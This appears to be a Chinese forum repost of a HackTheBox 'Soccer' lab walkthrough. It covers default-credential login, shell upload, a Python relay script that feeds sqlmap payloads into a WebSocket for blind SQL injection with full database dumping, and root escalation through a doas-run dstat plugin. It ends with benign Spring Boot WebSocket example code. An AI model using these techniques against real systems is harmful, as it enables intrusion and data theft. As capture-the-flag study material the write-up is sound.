ToB企服应用市场:ToB评测及商务社交产业平台

标题: hackthebox-Soccer [打印本页]

作者: 瑞星    时间: 2022-12-31 02:21
标题: hackthebox-Soccer
靶机地址
10.10.11.194
user权限


发现存在80端口嘛然后访问一下
然后发现转到域名为

本地绑定一下IP和域名

这里因为是htb的靶场就不扫子域名了直接爆目录

扫到一个目录上去看看,然后发现是个登录框

h3k,Tiny File Manager这些都是一些关键字然后再源代码里面看了看没有找到什么东西只能求助万能的百度了
h3k没什么东西最后找到了Tiny File Manager这个东西在git上面是开源的
项目地址:https://github.com/prasathmani/tinyfilemanager

是一个php文件管理的cms有源码的也有管理员默认账号密码尝试登录一下,然后成功的进来了

然后发现文件上传功能,找了个路径点

上传了文件并且拿到了shell

然后这台主机是linux的主机尝试用nc去获取交互shell

拿到shell
上传某个脚本进行一下信息收集

中间发现很多提权脚本

随后在Nginx模块发现了一个子域名

子域名是一个soc-player.soccer.htb

随后注册账户进来

这段英文的意思是要检查们的票据,然后我们抓包尝试一下
抓出来发现就是一个纯纯的ID

这种json格式的数据
当我发送给repeaeter的时候burp自动帮我识别了这是一个WebSockets,我测了半天我不会了,sockets这个协议的漏洞我都没有怎么碰到过,然后去看了wp
这里是一个WebSockets的sql注入

根据代码分析我们需要传入的msg是id
这里有一篇关于sockets的sql注入的文章
https://rayhan0x01.github.io/ctf/2021/04/02/blind-sqli-over-websocket-automation.html
用它结合着sqlmap进行测试
根据这篇文章修改我们的参数
  1. from http.server import SimpleHTTPRequestHandler
  2. from socketserver import TCPServer
  3. from urllib.parse import unquote, urlparse
  4. from websocket import create_connection
  5. ws_server = "ws://soc-player.soccer.htb:9091/"
  6. def send_ws(payload):
  7.         ws = create_connection(ws_server)
  8.         # If the server returns a response on connect, use below line
  9.         #resp = ws.recv() # If server returns something like a token on connect you can find and extract from here
  10.         # For our case, format the payload in JSON
  11.         message = unquote(payload).replace('"','\'') # replacing " with ' to avoid breaking JSON structure
  12.         data = '{"id":"%s"}' % message
  13.         ws.send(data)
  14.         resp = ws.recv()
  15.         ws.close()
  16.         if resp:
  17.                 return resp
  18.         else:
  19.                 return ''
  20. def middleware_server(host_port,content_type="text/plain"):
  21.         class CustomHandler(SimpleHTTPRequestHandler):
  22.                 def do_GET(self) -> None:
  23.                         self.send_response(200)
  24.                         try:
  25.                                 payload = urlparse(self.path).query.split('=',1)[1]
  26.                         except IndexError:
  27.                                 payload = False
  28.                         if payload:
  29.                                 content = send_ws(payload)
  30.                         else:
  31.                                 content = 'No parameters specified!'
  32.                         self.send_header("Content-type", content_type)
  33.                         self.end_headers()
  34.                         self.wfile.write(content.encode())
  35.                         return
  36.         class _TCPServer(TCPServer):
  37.                 allow_reuse_address = True
  38.         httpd = _TCPServer(host_port, CustomHandler)
  39.         httpd.serve_forever()
  40. print("[+] Starting MiddleWare Server")
  41. print("[+] Send payloads in http://localhost:8081/?id=*")
  42. try:
  43.         middleware_server(('0.0.0.0',8081))
  44. except KeyboardInterrupt:
  45.         pass
复制代码
然后使用sqlmap去跑参数
  1. sqlmap -u http://localhost:8081/?id=1 --dump-all --exclude-sysdbs
  2. --dump-all:查找并转储找到的所有数据库
  3. --exclude-sysdbs:不会在默认数据库上浪费时间
复制代码

用findshell连上去以后拿下user权限

root权限

后面的就更是我的知识盲区了,是在刚刚的信息收集的时候发现的一些东西有一个叫做doas

这是那些地软件有suid权限

什么意思呢就是说我们可以用这个东西来执行sudo指令,我们只需要用这个创建一个shell我们就可以相当于执行了一个 sudo bin/bash
我们先找一下这个软件在哪
通过查看dstat程序的官方文档,发现我们可以编写插件并执行,名称必须为dstat_*.py,插件存放的目录为/usr/local/share/dstat/
找到之后创建一个插件
  1. cd /usr/local/share/dstat/
  2. touch dstat_baimao.py
  3. chmod 777 dstat_baimao.py
复制代码


已经提升到root权限了我自己都还没注意到存到
小结一下

WebSockets

WebSockets 是一种先进的技术。它可以在用户的浏览器和服务器之间打开交互式通信会话。使用此 API,您可以向服务器发送消息并接收事件驱动的响应,而无需通过轮询服务器的方式以获得响应。
简单的自己实现Sockets
还是用springboot去开发
配置类
  1. mport org.springframework.context.annotation.Bean;
  2. import org.springframework.context.annotation.Configuration;
  3. import org.springframework.web.socket.server.standard.ServerEndpointExporter;
  4. @Configuration
  5. public class WebSocketConfig {
  6.     /**
  7.      *         注入ServerEndpointExporter,
  8.      *         这个bean会自动注册使用了@ServerEndpoint注解声明的Websocket endpoint
  9.      */
  10.     @Bean
  11.     public ServerEndpointExporter serverEndpointExporter() {
  12.         return new ServerEndpointExporter();
  13.     }
  14.    
  15. }
复制代码
处理类
  1. @ServerEndpoint("/myWs")
  2. @Component
  3. public class WsServerEndpoint {
  4.     /**
  5.      * 连接成功
  6.      * @param session
  7.      */
  8.     @OnOpen
  9.     public void onOpen(Session session) {
  10.         System.out.println("连接成功");
  11.     }
  12.     /**
  13.      * 连接关闭
  14.      * @param session
  15.      */
  16.     @OnClose
  17.     public void onClose(Session session) {
  18.         System.out.println("连接关闭");
  19.     }
  20.     /**
  21.      * 接收到消息
  22.      * @param text
  23.      */
  24.     @OnMessage
  25.     public String onMsg(String text) throws IOException {
  26.         return "servet 发送:" + text;
  27.     }
  28. }
复制代码
这几个注解分别对应着我们常用的三件套连接时候,断开时候,消息处理
@ServerEndpoint
@OnOpen
@OnClose
@OnMessage
@OnError
所以出现漏洞的点在于@OnMessage这个注解的方法这里做处理的时候和数据库进行交互的sql语句造成的注入
小脚本

我去大致的浏览了一下里面会收集的内容记住一些我觉得比较有意思的点
Executing Linux Exploit Suggester
这个会建议我们尝试一些提权操作
Searching uncommon passwd files
这个会有一些可以访问的passwd是一些密码文件
Possible private SSH keys were found!
ssh的key,
Some certificates were found (out limited)
一些证书文件,其实里面有很多有意思的东西,实战中肯定是先去尝试那些提权脚本当你提权不了的时候才开始尝试其他
的信息然后再收集信息去看其他提权方式

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!




欢迎光临 ToB企服应用市场:ToB评测及商务社交产业平台 (https://dis.qidao123.com/) Powered by Discuz! X3.4